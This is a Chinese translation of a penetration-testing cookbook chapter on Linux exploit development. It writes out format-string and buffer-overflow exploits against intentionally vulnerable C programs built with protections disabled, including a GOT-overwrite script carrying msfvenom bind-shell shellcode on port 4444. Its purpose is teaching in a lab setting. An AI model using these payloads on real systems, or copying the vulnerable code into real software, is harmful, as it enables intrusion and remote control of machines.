Python 渗透测试秘籍(三)
原文:
annas-archive.org/md5/A471ED08BCFF5C02AB69EE891B13A9E1译者:飞龙
第十四章:Linux 漏洞利用开发
在本章中,我们将介绍以下配方:
-
格式字符串利用
-
缓冲区溢出
介绍
在为 Linux 环境开发的应用程序中开发漏洞的利用可以使用 Python 工具。我们必须使用调试器,如pwndbg来调试应用程序。然后,我们可以使用 Python 脚本来利用这些漏洞。在本章中,我们将介绍一些基本漏洞和开发利用脚本的方法。
格式字符串利用
格式字符串是一个包含文本和格式参数的 ASCIZ 字符串。格式字符串漏洞发生在应用程序将输入字符串的提交数据评估为命令时。借助这种方法,攻击者可以执行代码,读取堆栈,并可能导致分段错误。格式字符串漏洞存在于大多数printf系列函数中,如printf,sprintf和fprintf。这些是格式字符串漏洞中常用的参数:
-
"%x":它从堆栈中读取数据 -
"%s":它从进程内存中读取字符字符串 -
"%n":它将整数写入进程内存中的位置 -
"%p":它是指向 void 的指针的外部表示
准备就绪
我们需要一个 32 位 x86 Linux 真实或虚拟环境来创建有漏洞的应用程序,并了解其中涉及的基本概念。在 Linux 环境中有一些概念的基本了解也是先决条件。
确保在 Linux 环境中安装了pwndbg调试器。要检查,请打开终端并输入gdb:
>> gdb
如果安装了pwndbg,这将打开pwndbg控制台:
pwndbg>
您可以使用q退出此控制台。我们还需要一个有漏洞的应用程序来进行工作。为了更好地理解,我们可以在 C 中创建一个简单的有漏洞的应用程序。
全局偏移表
程序在编译时使用全局偏移表。它有助于从外部库中获取使用的函数的位置。要查看这一点,我们必须依赖objdump命令。objdump命令是 Linux 环境中用于获取对象文件详细信息的命令。这在调试时非常有用。
生成 shell 代码
要生成用于注入的 shell 代码,我们必须使用 Metasploit shell 代码生成功能,因此请确保您的计算机上已安装 Metasploit。
如何做...
以下是在 Linux 环境中创建利用格式字符串的利用脚本的步骤:
-
首先,我们需要创建一个有漏洞的应用程序。因此,我们可以编写一个具有格式字符串漏洞的 C 文件。创建一个
fmt.c文件并在编辑器中打开它。 -
添加以下代码并保存:
#include <stdio.h>
int main(int argc, char **argv){
char buf[1024];
strcpy(buf, argv[1]);
printf(buf);
printf("\n");
}
- 我们需要使用禁用格式安全性的编译此代码。为此,请运行以下命令:
gcc fmt.c -w -g -Wno-format -Wno-format-security -fno-stack-protector -z norelro -z execstack -o fmt
这将创建一个名为fmt的可执行文件。我们可以将其用作我们的示例应用程序。
- 确保在测试机器上禁用地址空间布局随机化(ASLR):
sysctl -w kernel.randomize_va_space=0
- 现在我们可以运行应用程序进行测试:
./fmt TEST
这将打印传递给应用程序的参数
- 然后我们将使用格式字符串输入测试应用程序:
./fmt %x%x%x%x
./fmt %n%n%n%n
这里的第一个测试从堆栈打印一些十六进制值,但第二个将值写入堆栈值指向的内存位置,最终导致分段错误。因此,从测试结果来看,很明显我们可以从 RAM 中读取,也可以向 RAM 中写入。
- 现在我们可以更改输入并尝试控制参数:
./fmt AAAA.%x.%x.%x.%x
./fmt BBBB.%x.%x.%x.%x
我们传递的AAAA和BBBB字符以十六进制值的形式出现在堆栈的第四个参数上,AAAA为41414141,BBBB为42424242。从中可以清楚地看出,我们现在可以控制堆栈上的第四个参数。
- 由于我们计划控制代码执行,我们需要更改函数的地址。因此,让我们尝试找到一个 RAM 位置进行写入。为此,我们可以使用
pwndbg查看汇编代码:
gdb ./fmt
disassemble main
这将打印出汇编代码。从中我们可以确定应用程序在59上调用printf@plt,在72上调用putchar@plt。因此,我们可以在59处设置断点以进行调试:
- 如我们所知,全局偏移表保存库函数的当前地址。因此,我们可以使用
objdump查看 GOT 中的条目:
objdump -R ./fmt
从中我们将得到动态重定位记录中putchar的位置。在这里是08049748,对您可能是不同的。因此,请确保相应地更新您的脚本。
- 现在我们可以尝试写入
putcharPLT 入口。我们可以利用pwndbg来做这个。在pwndbg中打开应用程序:
gdb ./fmt
- 在
printf之前和之后设置第一个断点:
pwndbg> break * main + 59
pwndbg> break * main + 64
- 然后使用我们的有效载荷运行应用程序,以写入我们从
objdump中获得的putchar的地址位置。在我的情况下是08049748。我们必须将地址转换为小端格式,以便与英特尔架构一起使用:
pwndbg> run $'\x48\x97\x04\x08%x%x%x%n'
这将运行到我们的第一个断点,即printf之前:
- 然后我们可以检查内存位置的当前值:
pwndbg> x/4x 0x08049748
- 然后输入
c以前进到下一个断点。然后再次检查内存位置:
pwndbg> c
pwndbg> x/4x 0x08049748
从中我们知道该值更改为0x00000018。当printf执行时,格式字符串值%n作为参数,它打印出一个等于到目前为止打印的字节数的 32 位长度值。在这里,程序到目前为止打印了 18 个字节。
-
现在我们可以编写我们的利用代码来制作有效载荷。为此,请创建一个
exploit.py文件并在编辑器中打开它。 -
然后在其中添加以下代码:
#!/usr/bin/python
w1 = '\x48\x97\x04\x08JUNK'
w2 = '\x49\x97\x04\x08JUNK'
w3 = '\x4a\x97\x04\x08JUNK'
w4 = '\x4b\x97\x04\x08JUNK'
form = '%x%x%x%n%x%n%x%n%x%n'
print w1 + w2 + w3 + w4 + form
在这里,我们为我们的应用程序创建一个有效载荷。这将作为输入提交以写入内存位置。因此,生成 32 位字的最佳方法是执行四次写入,每次针对一个字节,并将它们组合起来。
- 确保利用代码具有执行权限:
chmod +x exploit.py
- 现在我们可以使用此有效载荷在调试器中运行应用程序。这正是我们之前做的事情:
gdb ./fmt
pwndbg> break * main + 59
pwndbg> break * main + 64
pwndbg> run $(./exploit.py)
- 检查内存位置:
pwndbg> x/4x 0x08049748
pwndbg> c
pwndbg> x/4x 0x08049748
然后该值更改为0x4c443c34
- 现在让我们尝试改变有效载荷中的一个字节。为此,将第三个格式字符串参数
%x更改为%16x。这将在前面添加 16 个零,并使其长度为 16 个字节:
#!/usr/bin/python
w1 = '\x48\x97\x04\x08JUNK'
w2 = '\x49\x97\x04\x08JUNK'
w3 = '\x4a\x97\x04\x08JUNK'
w4 = '\x4b\x97\x04\x08JUNK'
form = '%x%x%16x%n%x%n%x%n%x%n'
print w1 + w2 + w3 + w4 + form
- 然后以调试模式运行应用程序,并检查内存中的值:
gdb ./fmt
pwndbg> break * main + 59
pwndbg> break * main + 64
pwndbg> run $(./exploit.py)
pwndbg> x/4x 0x08049748
pwndbg> c
pwndbg> x/4x 0x08049748
该值从其先前的值0x4c443c更改为0x564e46。因此,所有字节都增加了 16。现在它的长度为 16 个字节。
- 现在我们可以尝试将特定地址写入该地址位置。在这里,我们可以尝试写入
ddccbbaa。为此,更新我们的exploit.py如下:
#!/usr/bin/python
w1 = '\x48\x97\x04\x08JUNK'
w2 = '\x49\x97\x04\x08JUNK'
w3 = '\x4a\x97\x04\x08JUNK'
w4 = '\x4b\x97\x04\x08JUNK'
b1 = 0xaa
b2 = 0xbb
b3 = 0xcc
b4 = 0xdd
n1 = 256 + b1 - 0x2e
n2 = 256*2 + b2 - n1 - 0x2e
n3 = 256*3 + b3 - n1 - n2 - 0x2e
n4 = 256*4 + b4 - n1 - n2 - n3 - 0x2e
form = '%x%x%' + str(n1) + 'x%n%' + str(n2)
form += 'x%n%' + str(n3) + 'x%n%' + str(n4) + 'x%n'
print w1 + w2 + w3 + w4 + form
通过这样做,我们在每个%n之前添加了足够的前导零,以匹配打印字符的总数,并匹配我们计划写入的期望值。此外,每次写入时字节的总数都会增加;我们必须为每个值添加 256,以使最后的字节干净。
- 现在使用我们精心制作的有效载荷执行应用程序,并检查内存位置:
gdb ./fmt
pwndbg> break * main + 64
pwndbg> run $(./exploit.py)
pwndbg> x/4x 0x08049748
现在putchar@got.plt指针的值为0xddccbbaa,这是我们计划写入其中的值。
- 现在我们可以创建一个模式并将其插入到利用中。这将有助于确定我们可以插入我们的 shell 代码的位置。因此,使用模式更新我们的利用。这将更新脚本如下:
#!/usr/bin/python
w1 = '\x48\x97\x04\x08JUNK'
w2 = '\x49\x97\x04\x08JUNK'
w3 = '\x4a\x97\x04\x08JUNK'
w4 = '\x4b\x97\x04\x08JUNK'
b1 = 0xaa
b2 = 0xbb
b3 = 0xcc
b4 = 0xdd
n1 = 256 + b1 - 0x2e
n2 = 256*2 + b2 - n1 - 0x2e
n3 = 256*3 + b3 - n1 - n2 - 0x2e
n4 = 256*4 + b4 - n1 - n2 - n3 - 0x2e
form = '%x%x%' + str(n1) + 'x%n%' + str(n2)
form += 'x%n%' + str(n3) + 'x%n%' + str(n4) + 'x%n'
nopsled = '\x90' * 100
pattern = '\xcc' * 250
print w1 + w2 + w3 + w4 + form + nopsled + pattern
- 现在使用有效载荷在调试器中运行应用程序,并检查 ESP 寄存器后的
200个字节:
gdb ./fmt
pwndbg> break * main + 64
pwndbg> run $(./exploit.py)
pwndbg> x/4x 0x08049748
pwndbg> x/200x $esp
现在我们可以在堆栈上看到 NOP 滑梯。我们可以选择 NOP 滑梯中间的地址来添加 shell 代码。在这里我们可以选择0xbffff110。
- 现在我们必须用真实地址替换
0xddccbbaa,这个地址是我们从 NOP sled 中选择的。为此,用正确的字节更新exploit.py:
b1 = 0x10
b2 = 0xf1
b3 = 0xff
b4 = 0xbf
- 现在用调试器运行应用程序并检查内存位置:
gdb ./fmt
pwndbg> break * main + 64
pwndbg> run $(./exploit.py)
pwndbg> x/4x 0x08049748
现在我们可以用 Metasploit 生成一个 shell 代码:
msfvenom -p linux/x86/shell_bind_tcp PrependFork=true -f python
现在用 shell 代码更新利用代码:
#!/usr/bin/python
w1 = '\x48\x97\x04\x08JUNK'
w2 = '\x49\x97\x04\x08JUNK'
w3 = '\x4a\x97\x04\x08JUNK'
w4 = '\x4b\x97\x04\x08JUNK'
b1 = 0x10
b2 = 0xf1
b3 = 0xff
b4 = 0xbf
n1 = 256 + b1 - 0x2e
n2 = 256*2 + b2 - n1 - 0x2e
n3 = 256*3 + b3 - n1 - n2 - 0x2e
n4 = 256*4 + b4 - n1 - n2 - n3 - 0x2e
form = '%x%x%' + str(n1) + 'x%n%' + str(n2)
form += 'x%n%' + str(n3) + 'x%n%' + str(n4) + 'x%n'
nopsled = '\x90' * 95
buf = ""
buf += "\xbd\x55\xe7\x12\xd0\xd9\xc2\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x18\x31\x6e\x13\x03\x6e\x13\x83\xee\xa9\x05"
buf += "\xe7\xba\x53\x92\xc5\xbb\xd6\xe2\xa2\xbd\xe9\x22\xfa"
buf += "\xc3\xc4\x23\xca\x18\x21\xc0\x7e\xdc\x9e\x6d\x83\x6b"
buf += "\xc1\xc2\xe5\xa6\x81\x78\xb4\x6a\xe9\x7c\x48\x9a\xb5"
buf += "\xea\x58\xcd\x15\x62\xb9\x87\xf3\x2c\xf7\xd8\x72\x8d"
buf += "\x03\x6a\x80\xbe\x6a\x41\x08\xfd\xc2\x3f\xc5\x82\xb0"
buf += "\x99\xbf\xbd\xee\xd4\xbf\x8b\x77\x1f\xd7\x24\xa7\xac"
buf += "\x4f\x53\x98\x30\xe6\xcd\x6f\x57\xa8\x42\xf9\x79\xf8"
buf += "\x6e\x34\xf9"
postfix = 'X' *(250 - len(buf))
print (w1 + w2 + w3 + w4 + form + nopsled + buf + postfix)
我们添加了一个后缀,使注入字符的总数保持恒定。
- 现在用有效载荷运行应用程序:
pwndbg> run $(./exp2.py)
- 现在尝试使用
nc连接作为 shell 代码并打开端口4444,然后尝试运行以下命令:
我们可以在调试器中看到这些细节:
缓冲区溢出
缓冲区溢出可能导致程序崩溃或泄露私人信息。在运行程序的情况下,缓冲区可以被视为计算机主内存中具有特定边界的部分,因此基本上访问分配的内存空间之外的任何缓冲区。
由于变量存储在堆栈/堆中,访问这个边界之外的任何内容可能导致读/写其他变量的一些字节。但是通过更好的理解,我们可以执行一些攻击。
如何做...
按照以下步骤在 Linux 环境中生成缓冲区溢出攻击的利用代码:
- 我们必须为测试创建一个有漏洞的应用程序。创建一个
bof.c文件并添加以下代码:
#include <stdio.h>
void secretFunction()
{
printf("Congratulations!\n");
printf("You have entered in the secret function!\n");
}
void echo()
{
char buffer[20];
printf("Enter some text:\n");
scanf("%s", buffer);
printf("You entered: %s\n", buffer);
}
int main()
{
echo();
return 0;
}
- 按照以下方式编译它:
gcc bof.c -w -g -Wno-format -Wno-format-security -fno-stack-protector -z norelro -z execstack -o bof
- 我们可以运行以下应用程序测试:
./bof
- 我们可以运行
objdumb:
objdump -d bof
从中我们可以得到 secret function 的内存位置:
这就是它,0804848b。并且 28 个字节被保留用于echo函数的本地变量:
现在我们可以设计有效载荷--我们知道,28 个字节被保留用于缓冲区,紧挨着 EBP 指针。所以,接下来的四个字节将存储 EIP。现在我们可以用任意随机字符设置前 28+4=32 个字节,然后接下来的四个字节将是secretfunction()的地址。
- 现在有效载荷将如下:
print ("a"*32 + "\x8b\x84\x04\x08")
将其保存到一个exploit_bof.py文件中,并将其加载为应用程序的有效载荷
- 这将使应用程序崩溃并提供对
secretfunction()的访问。